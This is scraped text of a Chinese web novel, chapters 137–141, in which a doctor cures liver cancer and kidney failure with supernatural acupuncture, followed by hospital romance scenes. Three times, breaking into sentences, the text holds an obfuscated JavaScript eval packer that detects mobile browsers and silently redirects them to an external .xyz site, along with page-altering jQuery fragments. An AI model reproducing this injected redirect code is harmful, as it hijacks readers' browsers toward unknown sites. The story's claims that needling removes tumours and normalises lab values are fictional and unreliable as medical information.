他左手拇指精准按压患者第九胸椎旁开1.5寸，右手金针倏然刺入！针尖触及皮肤的刹那，竟发出“嗤”的一声轻响，仿佛热刀切入凝脂。 “飞经走气！”李老一怔，四个字下意识的脱口而出。 方晓的手腕骤然一抖，针体以每秒七次的频率高频震颤，金针在肝俞穴之内划出一道螺旋轨迹。 患者后背肌肉突然痉挛，针柄竟自行左右摆动，宛如青龙摆尾！ “唔——！”患者猛地弓起身子，额头瞬间渗出豆大汗珠，“医、医生！针底下像有东西在刮我的骨头！” 方晓剑眉一挑，食指轻弹针尾。 “叮——” 金针发出龙吟般的嗡鸣，针尖传来的阻力竟让方晓的虎口微微发麻。他冷笑一声，突然运指如飞，在针柄连弹三下！！！ “噔！噔！噔！” 每弹一指，针下就传来“咯吱咯吱”的诡异摩擦声，仿佛针尖正在刮削某种致密物质。 治疗室里几个老中医霍然起身，眼镜片上反射着惊骇的光芒。 这是什么？ 这是什么！ 自己看见了怎样的一幕！ “肝积成岩，针涩如锉。”方晓突然并指成剑，在患者肋下章门穴重重一点，“给我——破！” “啊！！”患者发出一声撕心裂肺的惨叫，金针周围突然渗出三滴粘稠的黑血，在雪白的治疗巾上晕开狰狞的痕迹。 第137章 方家神鬼针（中） 第一百三十七章方家神鬼针（中） 方晓双指夹住针尾缓缓提拉，针尖离开皮肤的瞬间，治疗室爆发出一片惊呼——原本金光灿灿的针体前端，此刻竟覆满灰白色的钙化状物质！ “看清楚。”他将染毒的金针举到无影灯下，针尖的附着物在强光下闪烁着病态的荧光，“这就是你们CT照不出来的——肝癌毒根！” 张主任手中的钢笔啪嗒掉地，颤声道：“这...这不可能！针灸怎么可能带出肿瘤组织...” “现代医学检测不出的微钙化灶，在《黄帝内经》里早有名目——这叫‘肝如瓦砾’。”方晓甩手将金针掷入消毒盘，铛啷一声火星四溅，“下一针，我要他肝区肿瘤缩小一公分！” 方晓指间银光乍现，五寸银针在空气中划出一道寒芒。 "太冲——！"方晓心中轻吒一声。 他左手拇指骤然发力，按压患者足背第一、二跖骨结合部前凹陷处，右手银针如猛虎扑食般直刺而入！ 针尖刺破皮肤的瞬间，竟发出一声"嗤——"的锐响，仿佛热铁入水。 "透天凉！" 方晓手腕猛地一抖，银针在穴道内高频震颤，针体以每秒九次的频率剧烈摆动，整个针尾竟在空中划出肉眼可见的残影！ "啊——！"患者突然发出一声野兽一般的低吼，整条右腿不受控制地抽搐起来，"医、医生！我的脚...像被烙铁烫了一样！" 方晓眼中精光暴涨，食指在针尾轻轻一弹！ "铮——！" 隐约中，有声音出现。 银针发出虎啸般的嗡鸣，针尖传来的触感让方晓眉头一皱。他冷笑一声，突然变指为爪，在针柄上连叩七下。 "咚！咚！咚！" 每叩一次，针体就剧烈震颤一次，患者足背上竟浮现出蛛网般的青黑色血管！ 观摩室里几个中医老专家以及其他中年、青年的医生们都猛地站起身，手中的病历本"啪嗒"掉在地上。 "肝毒凝滞，针下如沸。"方晓突然并指成剑，在患者小腿阳陵泉穴重重一点，"给我——泄！" "嗷！！"患者发出一声不似人声的惨叫，银针周围突然渗出三滴粘稠如沥青的黑血，在治疗巾上腐蚀出细小的孔洞！ 方晓双指夹住针尾缓缓旋转，银针离开穴位的瞬间，整个观摩室鸦雀无声——原本银光闪闪的针体前端，此刻竟覆满紫黑色的胶状物质！ "看仔细了。"他将染毒的银针举到无影灯下，针尖的附着物在强光下泛着诡异的金属光泽，"这就是你们肝功能检查查不出的——酒精性肝毒！" 李老手中的茶杯"咣当"落地，苍老的声音颤抖着："这...这难道是？！" "《针灸大成》有载："毒深者，针出如漆"。"方晓反手将银针掷入消毒盘，针尖接触液面的瞬间竟冒出缕缕青烟，"下一针，我要他转氨酶降一半！" 方晓指尖赤芒一闪，三枚赤铜针在无影灯下泛起血色光晕。 "足三里——！" 他左手拇指如鹰爪般扣住患者胫骨外侧膝下三寸，右手赤铜针如朱雀俯冲般骤然刺入！ 针尖破皮的刹那，竟发出"嗤啦"一声灼响，仿佛烧红的铁签刺入油脂。 "烧山火！" 方晓手腕猛然一旋，赤铜针在穴道内急速旋转，针体以肉眼可见的速度变得通红发亮！ 患者整条小腿的皮肤瞬间泛起红色，皮下竟隐约可见赤色光流沿着经络奔涌！ "呃啊——！"患者突然仰头发出一声长吟，腹部传来雷鸣般的肠鸣，"医、医生！我的肚子...像有火在烧！" 方晓眼中精光暴涨，突然变指为诀，在针尾连点九星！！ "咻！咻！咻！" 每点一次，针体就明亮一分，患者的腹部竟浮现出朱雀展翅般的赤色纹路！ 监护仪上的肠鸣音监测曲线瞬间飙升至峰值，发出尖锐的警报声！ 有人想要制止，但却被李老拦住。 李老双目炯炯有神，看着方晓的行针。李青荷双眸雪亮，错愕中带着些许异样。 李青荷站在爷爷的身后，纤长的手指不自觉地攥紧了白大褂的衣角。 她的目光紧紧追随着方晓行 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15508280|168770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 针时凌厉如剑的手势，那双总是沉静如秋水的杏眸此刻泛着异样的光彩。 当方晓施展"朱雀振翅"针法时，赤铜针映出的红光在他轮廓分明的侧脸上跳动。 李青荷突然觉得喉头发紧——这个来自地市级医院的家伙，此刻竟耀眼得让人移不开视线。 她下意识抚了抚鬓角散落的发丝，突然意识到自己的心跳快得不像话。 "这针法..."她喃喃自语，呼吸不自觉地随着方晓运针的节奏变得急促。 当看到患者面色由黄转红时，她嘴角扬起一个连自己都没察觉的柔和弧度。 这种发自内心的赞叹让她心头一颤，急忙用病历板挡住发烫的脸颊。 方晓转身时，沾染着血晶的指尖在无影灯下闪闪发光。 李青荷的目光不受控制地追随着那修长的手指。 难怪爷爷非要收他当关门弟子，李青荷心情微微一动。 当方晓踩碎听诊器说出"只有奇迹"时，李青荷突然意识到，自己正在用从未有过的角度注视着这个男人——一个特别存在。 这个认知让她耳尖瞬间红得能滴出血来。 "脾土衰败，气血两枯。"方晓突然并指如剑，在患者血海穴凌空一划，"今日，我便以朱雀之炎——" 话音未落，三枚赤铜针突然同时发出刺目的红光！ "燃你新生！" "轰！" “轰！！” “轰！！！” 患者周身毛孔突然喷出大量白色雾气，整个治疗室瞬间弥漫着艾草焚烧般的清香。 更惊人的是，他原本蜡黄的脸色以肉眼可见的速度变得红润，监护仪上的血氧饱和度开始从91%飙升到99%！ 方晓反手收针，三枚赤铜针离体的瞬间，观摩室里爆发出震天的惊呼——针体上竟然凝结着晶莹的血色结晶，在无影灯下折射出瑰丽的光芒！ "《针灸神书》有云："火针生血，其华如晶"。" 方晓将赤铜针掷入消毒盘，针尖接触液面的瞬间竟使酒精沸腾汽化，"下一针，我要他造血功能提升三成！" 第138章 方家神鬼针（下） 第一百三十八章方家神鬼针（下） 张主任瘫坐在椅子上，手中的听诊器滑落在地："这...这已经违背现代医学常识..." "常识？"方晓冷笑着一脚踩碎听诊器，"在我针灸面前。" "没有常识，只有奇迹！" 方晓指间乌光骤闪，七寸玄铁针在灯光下泛着幽暗的金属光泽，针体上隐约可见古老的水波纹刻痕。 "肾俞——！" 方晓心中再次轻吒。 他左手掌心突然按在患者第二腰椎旁开1.5寸处，右手玄铁针如玄武入海般缓缓刺入。 针尖触及皮肤的瞬间，治疗室内温度骤降，众人呼出的白气在空气中凝结成霜。 "苍龟探穴！" 方晓手腕陡然一沉，玄铁针以每分钟三毫米的速度向深处推进。 针体每深深进入一分，患者腰部就泛起一圈肉眼可见的蓝色涟漪，仿佛平静的湖面被投入石子。 "嘶——"患者突然倒吸一口凉气，瞳孔剧烈收缩，"医...医生，我的腰...像泡在冰水里..." 方晓双目微阖，指尖在针尾轻轻一捻—— "嗡......" 针灸针发出深海鲸歌般的低频震动，整个治疗床开始微微颤抖。 监护仪上的心电图从紊乱的锯齿状骤然变成平稳的波浪线，心率已经从120次/分左右开始缓慢下降！ "肾水将竭，命门欲熄。"方晓突然变指为印，在患者关元穴凌空画出一道湛蓝符咒，"今日，我便以玄武之威！" 他猛地将玄铁针再进三寸！ "定你乾坤！" "轰！" "轰！！" "轰！！！" 治疗室所有玻璃器皿同时震颤，患者周身毛孔突然渗出晶莹的露珠。 更惊人的是，他灰败的脸色以肉眼可见的速度恢复血色，监护仪上的肌酐值从886μmol/L断崖式跌至132μmol/L！ 方晓收针时，玄铁针尖竟然凝结着数颗冰晶，在灯光下折射出深海般的蓝光。 李青荷不自觉地向前迈了半步，白大褂下摆随着急促的呼吸轻轻摆动。 《针灸秘典》载："玄针镇水，其寒凝晶"。"方晓将玄铁针掷入消毒盘，针尖接触液面的瞬间整个容器结出蛛网般的冰纹，"下一针……" 他突然转头看向李老，嘴角勾起一抹从未有过的温柔弧度："我要让所有人知道，针灸能做到真正的起死回生。" 方晓双臂一震，十三道寒光同时从针囊中冲天而起！ 金、银、赤、玄四色针芒在空中交织成璀璨星河，针尖划破空气发出龙吟般的尖啸。 李青荷下意识捂住耳朵，却看见十三支针竟然自行排成北斗七星的阵型，在无影灯下投射出流动的星图光影！ "肝募——期门！" 三支金针突然九十度折转，以违背物理规律的角度悬停在患者右肋下方。 "肝俞——定魂！" 四支银针组成十字星芒，精准刺入患者背部穴位时竟发出金铁交鸣之声。 方晓突然咬破中指，凌空画出一道血符： "今日请动北斗七星君——" 血珠飞溅在最后六支赤铜针上，针体瞬间变得通红似火！ "给我破！！！" 十三支针同时刺入患者体内，针尾剧烈震颤形成的共振波，竟让整个治疗室的玻璃出现蛛网状裂纹！ 患者身体突然悬浮离床三寸，全身毛孔喷出粘稠的黑雾，在天花板上凝结成狰狞的鬼脸形状！ "天啊..."李老手中的佛珠串突然崩断，檀木珠子滚落一地。 最骇人的是—— 随着黑雾喷涌，患者肝区那个拳头大的肿块，正以每秒一毫米的速度塌陷软化！ 监护仪上AFP指标从1200ng/mL疯狂暴跌至25ng/mL！ 方晓突然跃起，右手结成剑指直指患者膻中穴： "三魂永驻，七魄归位——" "轰隆！" 十三支针同时从穴位激射而出，带着缕缕黑气钉入天花板。针尾缠绕的黑雾中，隐约传来凄厉的嘶吼，最终在阳光下灰飞烟灭。 死寂中，方晓接住最后一支落下的金针。针尖上，一滴紫黑色的胶状物质正在疯狂蠕动。 "看清楚了。"他将金针举到DR显示屏前，"这就是你们病理活检都抓不到的——肝癌细胞！" 随着"滋啦"一声响，那滴物质在显示屏强光照射下化为青烟。几乎同时，超声探头下的肝区影像显示——肿瘤完全消失！ 李青荷双腿一软跪坐在地，白大褂早已被汗水浸透。 她望着逆光而立的方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15518460|168770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晓，突然想起昨天这人还在地市级医院里被人欺负。没想到他竟然有这么大的本事！ 李青荷手中的记录板"啪嗒"落地，雪白的脸颊瞬间飞红。 她慌乱地别过脸去，却怎么也控制不住疯狂加速的心跳——这个瞬间她突然明白，自己恐怕再也无法用平常心看待这个创造奇迹的男人了。 方晓立于无影灯下，周身气场如渊似海。他缓缓抬起右手，五指张开！ “归！” 刹那间，十三支针同时震颤，针尾迸发出刺目华光！ 金针如流星倒卷，银针似寒霜归鞘，赤铜针带起灼热气浪，玄铁针卷动凛冽冰晶——十三道锋芒划破长空，尽数落入方晓掌中！ “叮、叮、叮——” 针尖相撞，竟发出金戈铁马般的铮鸣！残留的黑紫色瘀血在方晓掌心汇聚成一颗狰狞的毒珠，被他反手握住。 “嘭！” 毒珠爆裂，黑雾升腾，却在触及他指尖的刹那，被一股无形之力生生震散！ 全场死寂。 所有人都目瞪口呆，只有李老的眼睛已经没了从前昏黄的老人一般的颜色，灿灿发光，仿佛被方晓的动作拂去了尘埃。 方晓冷眼扫过众人，将染血的针掷入消毒盘。 “铛——！” 金属碰撞的余音在手术室内久久回荡，仿佛一记重锤，狠狠砸在所有人心头！ “肝癌不是绝症。”他缓缓开口，声音不大，却如惊雷炸响，“绝的，是你们故步自封的医术！” 他抬手一指监护仪—— 肿瘤体积：缩小72%。 AFP指标：降至正常范围！ 肝功能：全面回升！ 数据跳动的那一刻，李青荷手中的记录板终于脱手落地。 她望着方晓的背影，胸口剧烈起伏，眼底翻涌着前所未有的情绪——震撼、钦佩，还有一丝难以言明的悸动。 话音未落，身后突然爆发出山呼海啸般的掌声！ 张主任瘫坐在地，面如死灰；李老热泪盈眶，双手颤抖；年轻医生们疯狂拍照，仿佛见证神话！ 而方晓，只是轻轻掸了掸白大褂上并不存在的灰尘，迈步而出。 阳光透过走廊的窗户洒在他身上，拉出一道修长的影子—— 如神，似鬼。 逆天改命，不过弹指之间！ 第139章 专家公寓 第一百三十九章专家公寓 方晓收针时指尖微颤，后背的白大褂已被汗水浸透，勾勒出紧实的背部线条。 李青荷站在人群中，目光不由自主地落在他修长的手指上——那双手施针时稳如磐石，此刻却连消毒棉签都险些捏不住，指节因用力过度而微微泛白。 当方晓转身时，她下意识往前迈了半步，又在意识到失态后硬生生停住。 方晓的目光恰好扫过，在她胸前微微晃动的听诊器上停留了一瞬，视线缓缓上移，最终定格在她微微张开的唇瓣上。 他嘴角忽然扬起一个疲惫却带着几分玩味的笑，笑容泛起，在灯光下格外醒目。 李青荷呼吸一滞，等回过神时，发现自己的原子笔不知何时在记录本上划出一道长长的墨痕——就像她此刻乱了节奏的心跳。 方晓擦肩而过时，带着淡淡的血腥气和若有似无的檀木香，她垂在身侧的手指不自觉地蜷缩，仿佛还能感受到他经过时带起的那阵温热气流。 "李老，我有些累了。"方晓的声音比平时低沉了几分，带着几分沙哑的疲惫。 李老伸手接过李青荷递来的原子笔，在写电话号码时，笔尖在纸上留下一个明显的停顿。 方晓接过纸条时，指尖不经意擦过李青荷的手背，那一瞬间的触感让她耳根发烫。 "青荷，带患者去做检查。"李老的咳嗽声让李青荷如梦初醒。 “好的。”李青荷收敛心神，先去联系。 刚刚的针灸术让李青荷有些恍惚，那仿佛是另外一个世界的存在。 直到现在，李青荷也没想懂到底发生了什么。 当她快步转过拐角的时候，却猛地撞进一个温热的胸膛——方晓正倚在墙边闭目养神，白大褂随意地敞着，露出里面被汗水浸湿的衬衫，紧贴在精瘦的腰身上。 感觉到异样，他懒洋洋地掀起眼皮，目光像带着温度般从她泛红的耳尖一路扫到微微颤抖的睫毛。 "李医生，"他嗓音沙哑，带着几分调侃，"你这是干嘛去。" 李青荷慌乱后退，却被他一把扶住手肘。"小心，" 方晓的声音近在耳畔，温热的气息拂过她耳垂，"你的听诊器要掉了。" 她这才发现胸前的听诊器不知何时已经滑到边缘，而他骨节分明的手正虚扶在那里，距离她的胸口仅有寸许。 方晓似乎也意识到了什么，喉结上下滚动了一下，迅速收回手，却在转身时状似无意地用指腹蹭过她的手腕内侧——那里脉搏正跳得飞快。 "方医生，你...还没办入职手续吧？"李青荷努力让自己的声音听起来平静，却控制不住发颤的尾音 方晓回头看她，嘴角勾起一个意味深长的笑："怎么，李医生要亲自带我去？" 他向前迈了一步，将她困在墙壁与自己的身影之间，却又在两人呼吸相闻的瞬间突然退开，"不过现在，我更想找个地方休息..." “改天见。”方晓笑了下，看见一层红晕笼罩在李青荷的脸上，觉得特别有趣。 他转身离去时，白大褂的衣角轻轻扫过她的膝盖，带起一阵微妙的感觉。 李青荷怔怔地望着他的背影，突然发现自己的心跳快得不像话——这绝对不仅仅是因为刚才的小跑。 "可恶啊！" 她在心里狠狠斥责自己，却控制不住地回想着方才的情景。方晓身上那股淡淡的消毒水味混合着独特的檀木香气，还有他低头时发丝间隐约的洗发水清香，都让她心跳加速。更让她懊恼的是，她竟然记得这么清楚。 李青荷用力摇了摇头，试图把这些乱七八糟的念头甩出去。 她可是医院最专业的中医科医生之一，怎么能像个花痴一样被一个初次见面的男人扰乱心神？ "李医生？患者已经准备好了。"护士的呼唤将她拉回现实。 "啊，好的，马上来。"她深吸一口气，强迫自己集中精力在工作上。 ...... 方晓强撑着回到酒店，连外衣都来不及脱就倒在了床上。 过度使用"方家神鬼针"的后遗症让他浑身发软，太阳穴突突地跳着疼。 他闭着眼睛，脑海中却不由自主地浮现出李青荷那双明亮的眼睛，还有她因为紧张而微微颤抖的睫毛。 "真是..."他苦笑着喃喃自语，声音沙哑得不像话。 明明已经累到极限，却还是忘不掉她身上那股淡淡的茉莉花香，还有她耳根泛红时可爱的模样。 方晓艰难地翻了个身，把脸埋进枕头里。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15522338|168770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他现在最需要的是休息，而不是想着一个刚见面的女医生。 但身体越是疲惫，脑海中李青荷的身影就越是清晰——她认真记录时的侧脸，她不自觉咬下唇的小动作，还有她身上那件熨得一丝不苟的白大褂... "可恶。"他低声咒骂了一句，却不知道是在骂自己的身体状况，还是在骂自己不该有的念头。 最终，疲惫战胜了一切，他沉沉睡去，梦里似乎还萦绕着那股若有若无的茉莉花香。 方晓睁开酸涩的双眼，酒店窗帘缝隙间漏进的阳光刺痛了他的瞳孔。他摸索着抓起手机，屏幕亮起的瞬间，一条未读消息跃入眼帘： 【方医生，我是李青荷，给你安排了住处，你睡醒后联系我。】 发信时间是三小时前。 他盯着李青荷的微信头像看了许久，指腹无意识地摩挲着屏幕。 刚刚休息时候朦胧的记忆里的茉莉花香突然变得真切起来——原来不是梦。拇指悬在回复键上方停顿了几秒，最终打下一行字： 【多谢，刚醒。住处是？】 【就在医院后面的专家公寓3栋1701】 李青荷回复得很快。 【密码是你手机尾号后四位，爷爷说你要住三个月】 紧接着又追来一条：【需要给你带饭吗？】 方晓望着那个突兀的询问，嘴角不自觉扬起。他慢慢撑起身子，靠在床头回复：【李医生对每个新同事都这么体贴？】 这条消息却迟迟没有回复。 方晓能想象到对方对着手机咬嘴唇的纠结模样。正要放下手机，屏幕突然亮起： 【只对累到走不动路的】后面跟着个小小的笑脸emoji。 方晓低笑出声，胸腔震动的牵动让他意识到自己还穿着被汗水浸透的衬衫。 布料已经半干，但汗水和血迹混合的气味实在算不上好闻。 他单手解开纽扣，忽然注意到袖口处沾着一根长发——在黄昏的光中泛着柔和的栗色光泽。 拇指和食指轻轻捻起那根发丝，方晓眯起眼睛看了半晌，最终将它绕在指间打了结，随手塞进了钱包夹层。然后才慢条斯理地回复： 【那就麻烦李医生了，一起吃顿饭，我请客。】 第140章 我是你这边的 第一百四十章 我是你这边的 方晓远远就看见李青荷站在专家楼前的梧桐树下，米白色的连衣裙被夏末的风轻轻撩起裙角，在阳光下泛着柔和的光晕。 她低头看表的动作让垂落的发丝扫过脸颊，右手无意识地卷着挎包带子，脚尖时不时轻点地面。 "李医生。"方晓在五步外停下，声音里带着笑意。 李青荷猛地抬头，阳光穿过树叶的缝隙在她脸上投下细碎的光斑。 她下意识抬手遮了遮眼睛，这个动作让连衣裙的袖口滑落，露出纤细的手腕上戴着的银色手链——方晓注意到那是条医疗蛇杖造型的饰品。 "你..."她的目光在方晓身上快速扫过，最后定格在他还有些潮湿的发梢上，"刚洗过澡？" 方晓随意地拨了拨湿发，水珠溅到李青荷的小臂上，惹得她轻轻"呀"了一声。 "总不能带着一身血腥味见你。"他向前一步，嗅到空气中飘来的淡淡橙花香，"等很久了？" 她的耳尖又开始泛红，"晚餐在楼上，再不吃要凉了。" 李青荷急急解释，连衣裙的腰带在转身时旋开好看的弧度，"我还要回去查房。 方晓的指尖在即将触碰到她手腕的瞬间停住了，悬在那条医疗蛇杖手链上方不到一厘米的地方。 晚风穿过两人之间的空隙，带起她裙摆淡淡的橙花香气。 "李老说下午才要我去办入职。"他的声音放得很轻，抬起的手转而指向公寓大门，"那个门禁...是刷卡还是指纹？" 李青荷看着他的指尖在空中划出的弧线，阳光透过梧桐叶的缝隙在上面投下跳跃的光斑。 她无意识地摩挲了下自己的手链，金属表面还残留着阳光的温度。 "要、要刷卡的。"她从包里取出门禁卡递过去，却在方晓伸手来接时突然缩回，"等等..." 方晓的手悬在半空，挑眉看她。 李青荷低头从包里翻出湿巾，仔细擦了擦卡片边缘并不存在的灰尘，这才重新递出去："刚拿过晚餐，有点油..." 她的指尖在卡片边缘微微发抖，方晓接卡时用指腹轻轻托了一下她的手腕内侧——一触即离，却让两人同时怔住。 那个瞬间的触感像被阳光晒暖的丝绸，转瞬即逝却又真实存在。 "谢谢。"方晓的声音比平时低了几分。 他转身刷卡时，后颈的发梢还挂着未干的水珠，随着动作滚落到衬衫领口里。 李青荷盯着那颗消失的水珠，突然说："电梯在右边拐角。"说完就后悔了——这简直像是在主动提出带路。 方晓回头看她，眼角微微弯起："要送我过去吗？"他晃了晃门禁卡，"万一我走错楼层..." 阳光突然变得格外明亮。 李青荷捏紧挎包带子，发现自己的脚尖已经不自觉朝他的方向转了过去。梧桐叶的影子在他们之间的地面上交织，分不清是谁先迈出了第一步。 李青荷的手机铃声突兀地划破两人之间的静谧。 她接起电话时，方晓注意到她微微蹙起的眉头和下意识咬住的下唇。 "喂？哦哦，好。"她的声音很快恢复专业性的平稳，但指尖却不自觉地在挎包带上收紧，"我马上到。" 挂断电话，李青荷略带歉意地抬眼："有个急会诊，全院会诊，我得先..."她话未说完，突然意识到方晓不知何时已经站在了离她更近的位置，近到她能看清他睫毛上未干的水珠。 "我，能去么？"方晓问道，声音里带着恰到好处的好奇。 李青荷张了张嘴，心跳突然加速："但你不是还没办完入职手续。" "作为进修生，观摩学习，这样总可以吧？"方晓笑了笑。 风突然大了起来，吹乱李青荷额前的碎发。 她下意识伸手去拨，却碰到方晓已经抬起的手腕。两人同时一怔，方晓的手转而去接住一片飘落的梧桐叶，轻轻放在她挎包上。 "带我去看看？"他的语气轻松，眼神却认真起来，"就当是...提前熟悉医院流程。" 李青荷看着那片梧桐叶在她米白色的挎包上微微颤动，突然转身往医院方向走去："跟紧了，普外科会议室。" 她的声音飘在风里，"还有，把头发擦干，会感冒的。" 方晓快步跟上，不动声色地缩短两人之间的距离。阳光透过树荫在他们身上投下斑驳的光影，一前一后的影子时而重叠，时而分开。 “找中医干什么？”方晓在李青荷身后问道。 “这是中西医结合的医院，平时西医都看不起咱中医，所以……” 李青荷说着，忽然响起方晓是西医的研究生，马上停住，奶凶奶凶的瞪了方晓一眼，仿佛看不起人的是方晓。 方晓闻言轻笑一声，脚步未停地跟上李青荷急促的步伐。 他故意落后半步，看着她脑后随着步伐轻轻摇晃的马尾辫，阳光下泛着柔和的栗色光泽。 "所以..."他拖长了音调，声音里带着几分调侃，"李医生也看不起中医？" 李青荷猛地停住脚步，转身时发尾在空中划出一道弧线，差点扫到方晓的下巴。 她仰起脸瞪他，阳光在她微微皱起的鼻梁上投下一小片阴影："我爷爷就是中医泰斗！" 她气鼓鼓地说，眼睛瞪得圆圆的，"倒是你，协和的研究生，为什么要来学中医？" 方晓适时举起双手作投降状，腕间的手表在阳光下反射出一道晃眼的光："我可什么都没说。" 他向前一步，缩短两人之间的距离，"不过呢。"他忽然压低声音，"待会儿要是他们刁难中医科，李医生可要保护我啊。" 李青荷被他突如其来的靠近弄得耳根发热，下意识后退半步，却不小心踩到一颗石子，身形一晃。 方晓迅速伸手虚扶了一下她的肘部，一触即离，却让她的心跳漏了半拍。 "谁、谁要保护你！"她慌忙转身继续往前走，步伐比刚才更快了，"你这个西医高材生还需要人保护？" 方晓看着她泛红的耳尖，嘴角不自觉上扬。他大步跟上，在进入住院一部前突然说道："我在协和读书的时候，导师的办公桌上一直摆着本《黄帝内经》。" 他伸手为她推开玻璃门，"他说真正的好医生，眼里不该有中西医之分。" 李青荷脚步微顿，侧头看他时眼神中的防备褪去了几分。 电梯门缓缓关上，狭小的空间里，她闻到方晓身上淡淡的薄荷香气混着若有若无的消毒水味道。 "所以..."她小声嘟囔，"你到底是哪边的？" 方晓看着电梯楼层数字跳动，忽然俯身在她耳边轻声道："你猜？"温热的气息拂过耳廓，在电梯"叮"的一声到达时迅速拉开距离，留下李青荷站在原地，脸颊发烫。 会议室的门近在眼前，里面已经传来激烈的讨论声。方晓整了整衣领，突然正经起来："准备好了吗，李医生？"他做了个请的手势，眼神却带着几分狡黠，"让我见识下中医科的实力。" 李青荷深吸一口气，推开门的瞬间，听到方晓在身后极轻地说了一句："别担心，我站你这边的。" 第141章 抗生素脑病 第一百四十一章 抗生素脑病 李青荷推门的手顿时僵在半空，指尖微微发颤。 方晓那句"我站你这边的"像一滴热水落在她耳廓上，烫得她整只耳朵都红了起来。 她甚至能感觉到血液在耳尖突突跳动的声音。 "谁、谁要你站队了..."她声音越来越小，尾音几乎消失在唇边。 手指无意识地绞紧了白服袖口，发出轻微的沙沙声。 方晓站在她身后半步的位置，目光落在她通红的耳尖上。阳光从走廊的窗户斜射进来，将她耳廓照得近乎透明，连细小的绒毛都清晰可见。他忽然有种想用指尖碰一碰的冲动。 "李医生，"他故意压低声音，看着那小巧的耳垂因为他的吐息而轻轻颤动，"你耳朵怎么红了。" "过敏！"李青荷猛地打断他，一把推开会议室的门，"我对...对消毒水过敏！" 示教室里的争论声戛然而止，十几双眼睛齐刷刷看向门口。 李青荷僵在原地，恨不得找个地缝钻进去——这个借口简直蠢透了。 方晓适时地从她身后走出，彬彬有礼地向众人点头致意。 在擦肩而过的瞬间，他状似无意地轻声道："原来如此...那我下次换种沐浴露。" 李青荷差点没钻进地缝里。 她低着头快步走到中医科座位，米白色连衣裙在转身时划过一道轻盈的弧线。 方晓在她身旁落座，目光不经意扫过她微微蹙起的眉心——那蹙起的弧度像极了针灸铜人像上的某个穴位连线，让他忍不住多看了两眼。 "患者简直太过分了！"神经外科刘主任拍案而起，白大褂袖口沾着的碘伏痕迹随着他的动作晃动，"术后第三天就敢拉着护士长的手要微信，这根本就是对医护人员的不尊重！" "不是病？"方晓突然低声自言自语，手指已经翻开病历本快速浏览医嘱。 纸页翻动的沙沙声中，他注意到李青荷悄悄往他这边偏了偏头，发丝间若隐若现的珍珠耳钉在灯光下泛着柔和的光。 方晓的指尖轻轻点在医嘱单的时间记录上，李青荷不自觉地凑近了些。她身上淡淡的柑橘香气混着一丝消毒水味道，萦绕在两人之间狭小的空间里。 "看这里，"方晓压低声音，手指沿着输液记录缓缓移动。 "头孢哌酮3.0g，250ml生理盐水，30分钟内滴完。"他的小指不经意擦过纸面，发出轻微的沙沙声，"标准应该是至少60分钟以上。" 李青荷的睫毛轻轻颤动，在病历本上投下细小的阴影："所以是...滴速太快？太快的话，应该是急性左心衰吧。" "抗生素血药浓度骤升。"方晓突然转头，发现两人的距离近得能看清她瞳孔里的细碎光点，"可以突破血脑屏障。" 会议室的白炽灯在李青荷眼中映出小小的光斑，她微微张着嘴，露出一点洁白的齿尖："抗生素脑病...我在教科书上见过，但临床上一次都没见过。" 方晓的轻笑像羽毛般轻轻擦过耳膜，温热的呼吸若有似无地拂动李青荷额前的碎发。 她下意识地屏住呼吸，却闻到对方身上淡淡的消毒水味混着一丝清冽的、好闻的味道。 "没想到真的会遇到吧。"他的声音压得很低，尾音微微上扬，带着几分温柔的调侃。 说话时，方晓的睫毛在灯光下投下细密的阴影。 李青荷不自觉地攥紧了手中的病历本，纸张发出轻微的脆响。 她感觉自己的耳尖又开始发烫，视线无处安放，最终落在方晓白大褂的纽扣上。 "我..."她刚想开口，却发现方晓不知何时又靠近了些。 他的白大褂袖口擦过她的手背，布料带着阳光晒过的温暖触感。 李青荷能清晰地看到他修长的手指搭在病历本上，骨节分明，指甲修剪得干净整齐，指尖因为长期练习手术而有一层薄薄的茧。 阳光透过百叶窗在他们之间投下斑驳的光影，方晓忽然伸手，指尖在她额前悬停了一秒，最终只是轻轻拨开一缕垂落的发丝。 这个动作让他的腕表露了出来，表盘反射的光正好映在李青荷的眼睛里，让她不由自主地眨了眨眼。 "你睫毛在发光。"方晓突然说，声音轻得像是自言自语。他的目光专注地落在她的睫毛上，看着那上面跳动的细碎光点。 李青荷感觉心跳快得不像话，手指无意识地绞着白大褂的衣角。 会议室里的讨论声仿佛突然远去了，只剩下两人之间这个小小的、安静的空间。 李青荷发现方晓的眼瞳在阳光下呈现出清透的琥珀色，里面清晰地映着自己的倒影。 "我该..."她刚想说话，方晓却突然退开，若无其事地整了整衣领。 那个瞬间的亲密感像泡泡一样消散，只留下若有似无的好闻的味道还萦绕在鼻尖。 